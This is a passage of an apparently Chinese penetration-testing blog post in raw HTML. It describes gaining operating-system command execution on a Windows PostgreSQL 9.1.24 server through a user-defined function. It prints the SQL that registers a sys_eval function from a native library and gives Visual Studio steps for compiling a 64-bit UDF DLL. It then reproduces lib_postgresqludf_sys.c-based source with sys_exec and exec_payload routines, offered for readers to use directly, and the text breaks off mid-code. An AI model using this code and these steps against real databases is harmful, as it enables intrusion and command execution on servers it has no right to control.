src="https://wechat2rss.xlab.app/img-proxy/?k=f4e66aa0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy6qDiavgEqVjkACIMVVULBVBwCwwoR89aoVbUYObktPUL2Uc1umDgficdo5icKN2LbL89PicnHajCZ5A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">最后无论是选择32-bit和64-bit都无法完成自动udf执行命令，不过得到了两个有用信息：</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">1、数据库版本：9.1.24</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">2、目标系统：Windows</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">当sqlmap自动无法完成的时候我想到了自己手动从sqlmap中提取dll然后写入到目标系统中再创建恶意函数，看看会发生什么，当打开sqlmap的时候我发现sqlmap中只有32位的dll，并且还只到9.0版本，并没有档期目标这个版本的：<br/></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><img data-ratio="0.05818965517241379" data-w="1856" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=114c788c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy6qDiavgEqVjkACIMVVULBVJibwDxz92a8BVp6xjEXibrb2b5VssWAd26ILgo9sI45iczhvEfygWiaU6g%2F640%3Fwx_fmt%3Dpng"/><br/><span style="box-sizing: border-box;"></span></p><p><img data-ratio="0.12604166666666666" data-w="1920" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=472ce4fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy6qDiavgEqVjkACIMVVULBVI7bZceTBRjuvuQRT8FXRu6pGQR03rnZ8HfpL8YXWjjm4GE0xic7pcqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">只能试试再说了，于是我决定用32位的9.0版本dll做实验，至于如何把dll导入到目标系统中并创建恶意函数，参考：</span><span spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/No-Github/postgresql_udf_help" target="_blank">https://github.com/No-Github/postgresql_udf_help</a></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">不过要注意该工具生成的sqlcmd.txt内容也是针对linux的，要把下面的/tmp/testeval.so的路径改为dll路径，并且该路径需要postgresql拥有权限：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">CREATE</span> <span class="code-snippet__keyword">OR</span> <span class="code-snippet__keyword">REPLACE</span> <span class="code-snippet__keyword">FUNCTION</span> sys_eval(<span class="code-snippet__built_in">text</span>) <span class="code-snippet__keyword">RETURNS</span> <span class="code-snippet__built_in">text</span> <span class="code-snippet__keyword">AS</span> <span class="code-snippet__string">&#39;/tmp/testeval.so&#39;</span>, <span class="code-snippet__string">&#39;sys_eval&#39;</span> <span class="code-snippet__keyword">LANGUAGE</span> C <span class="code-snippet__keyword">RETURNS</span> <span class="code-snippet__literal">NULL</span> <span class="code-snippet__keyword">ON</span> <span class="code-snippet__literal">NULL</span> <span class="code-snippet__keyword">INPUT</span> IMMUTABLE;</span></code></pre></section><p><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">我在将32位的9.0版本的dll导入的时候报了</span><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;word-spacing: 0px;-moz-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);display: inline !important;float: none;text-decoration: underline;">not a valid Win32 application</span><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">错误，我认为此处是由于架构不对导致的，目标PostgreSQL为64位</span>：</p><p><img data-ratio="0.41639871382636656" data-w="1244" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=2365c834&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy6qDiavgEqVjkACIMVVULBVC8iceIkZUDxeJMJDhCC3tXZ1ZkA1xmWPL3abUPNQ6SMRoX5dKSWBDyw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">自己动手，丰衣足食</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">我在网上找了很久，都没有发现64位的9.1.x版本的<span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">PostgreSQL</span> udf的dll。而关于编译，都是关于linux用gcc编译的，步骤大致为:</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">1、安装<span style="box-sizing: border-box;"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">PostgreSQL</span></span>相关的库（linux可以用apt-get等完成）</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">2、gcc命令行编译(gcc -Wall -I/usr/include/postgresql/11/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so)</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">费劲九牛二虎之力在Github上找到了一个编译PostgreSQL Windows Dll的工程：</span><span spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/rop-la/PolyUDF" target="_blank">https://github.com/rop-la/PolyUDF</a></span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">VS打开之后很多地方爆红，报错找不到postgres.h等包，那么问题又来了，linux可以用apt-get安装，Windows该怎么装呢？我觉得把官网所有的安装包下一遍应该会有答案。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">最后我选择官网下载了一份免安装的<span style="box-sizing: border-box;"><span style="caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 4;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">PostgreSQL</span></span>的二进制包文件:postgresql-9.1.24-1-windows-binaries.zip(</span><span spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.enterprisedb.com/download-postgresql-binaries" target="_blank">https://www.enterprisedb.com/download-postgresql-binaries</a></span><span style="box-sizing: border-box;">) 该包解压后存在各种我们需要的.h头文件：</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">然后我们需要做的就是将这些.h导入到vs的项目中</span><span style="box-sizing: border-box;">，选择：项目-&gt;PolyUDF属性-&gt;VC++目录，在包含目录中添加上.h的目录，总共需要添加3条才不会报错：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">C</span>:\<span class="code-snippet__selector-tag">Users</span>\<span class="code-snippet__selector-tag">xxxxx</span>\<span class="code-snippet__selector-tag">Downloads</span>\<span class="code-snippet__selector-tag">postgresql-9</span><span class="code-snippet__selector-class">.1</span><span class="code-snippet__selector-class">.24-1-windows-binaries</span>\<span class="code-snippet__selector-tag">pgsql</span>\<span class="code-snippet__selector-tag">include</span>\<span class="code-snippet__selector-tag">server</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">C</span>:\<span class="code-snippet__selector-tag">Users</span>\<span class="code-snippet__selector-tag">xxxxx</span>\<span class="code-snippet__selector-tag">Downloads</span>\<span class="code-snippet__selector-tag">postgresql-9</span><span class="code-snippet__selector-class">.1</span><span class="code-snippet__selector-class">.24-1-windows-binaries</span>\<span class="code-snippet__selector-tag">pgsql</span>\<span class="code-snippet__selector-tag">include</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">C</span>:\<span class="code-snippet__selector-tag">Users</span>\<span class="code-snippet__selector-tag">xxxxx</span>\<span class="code-snippet__selector-tag">Downloads</span>\<span class="code-snippet__selector-tag">postgresql-9</span><span class="code-snippet__selector-class">.1</span><span class="code-snippet__selector-class">.24-1-windows-binaries</span>\<span class="code-snippet__selector-tag">pgsql</span>\<span class="code-snippet__selector-tag">include</span>\<span class="code-snippet__selector-tag">server</span>\<span class="code-snippet__selector-tag">port</span>\<span class="code-snippet__selector-tag">win32</span></span></code></pre></section><p><img data-ratio="0.6893401015228426" data-w="985" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=917e95d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxy6qDiavgEqVjkACIMVVULBVDcfBMMicbUcPh7xEOp3Y5icS3ruog7e0CFkLiabRa0lKSG4QALJIQudLg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">然后由于我不太想用这个项目的c文件编译成dll，因为我没测试过，为了稳妥还是选择了网上最喜闻乐见的lib_postgresqludf_sys.c，这个文件在</span><span spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/No-Github/postgresql_udf_help" target="_blank">https://github.com/No-Github/postgresql_udf_help</a></span><span style="box-sizing: border-box;">有。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">将lib_postgresqludf_sys.c的内容粘贴到main.c中，注释掉一些会报错但不影响执行命令的代码，得到main.c，小伙伴们直接用就行了。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">if</span> defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//#define _USE_32BIT_TIME_T</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> DLLEXP __declspec(dllexport) </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> BUILDING_DLL 1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">else</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> DLLEXP</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/mman.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/types.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/wait.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;unistd.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">endif</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;postgres.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;fmgr.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;stdlib.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;string.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;ctype.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">if</span> defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function">DWORD WINAPI <span class="code-snippet__title">exec_payload</span><span class="code-snippet__params">(LPVOID lpParameter)</span></span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">endif</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">ifdef</span> PG_MODULE_MAGIC</span></span></code><code><span class="code-snippet_outer">PG_MODULE_MAGIC;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">endif</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">char</span>* <span class="code-snippet__title">text_ptr_to_char_ptr</span><span class="code-snippet__params">(text* arg)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span>* retVal;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">int</span> arg_size = VARSIZE(arg) - VARHDRSZ;</span></code><code><span class="code-snippet_outer">  retVal = (<span class="code-snippet__keyword">char</span>*)<span class="code-snippet__built_in">malloc</span>(arg_size + <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">memcpy</span>(retVal, VARDATA(arg), arg_size);</span></code><code><span class="code-snippet_outer">  retVal[arg_size] = <span class="code-snippet__string">&#39;\0&#39;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> retVal;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function">text* <span class="code-snippet__title">chr_ptr_to_text_ptr</span><span class="code-snippet__params">(<span class="code-snippet__keyword">char</span>* arg)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  text* retVal;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  retVal = (text*)<span class="code-snippet__built_in">malloc</span>(VARHDRSZ + <span class="code-snippet__built_in">strlen</span>(arg));</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">ifdef</span> SET_VARSIZE</span></span></code><code><span class="code-snippet_outer">  SET_VARSIZE(retVal, VARHDRSZ + <span class="code-snippet__built_in">strlen</span>(arg));</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">else</span></span></span></code><code><span class="code-snippet_outer">  VARATT_SIZEP(retVal) = <span class="code-snippet__built_in">strlen</span>(arg) + VARHDRSZ;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">endif</span></span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">memcpy</span>(VARDATA(retVal), arg, <span class="code-snippet__built_in">strlen</span>(arg));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> retVal;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">PG_FUNCTION_INFO_V1(sys_exec);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">ifdef</span> PGDLLIMPORT</span></span></code><code><span class="code-snippet_outer"><span 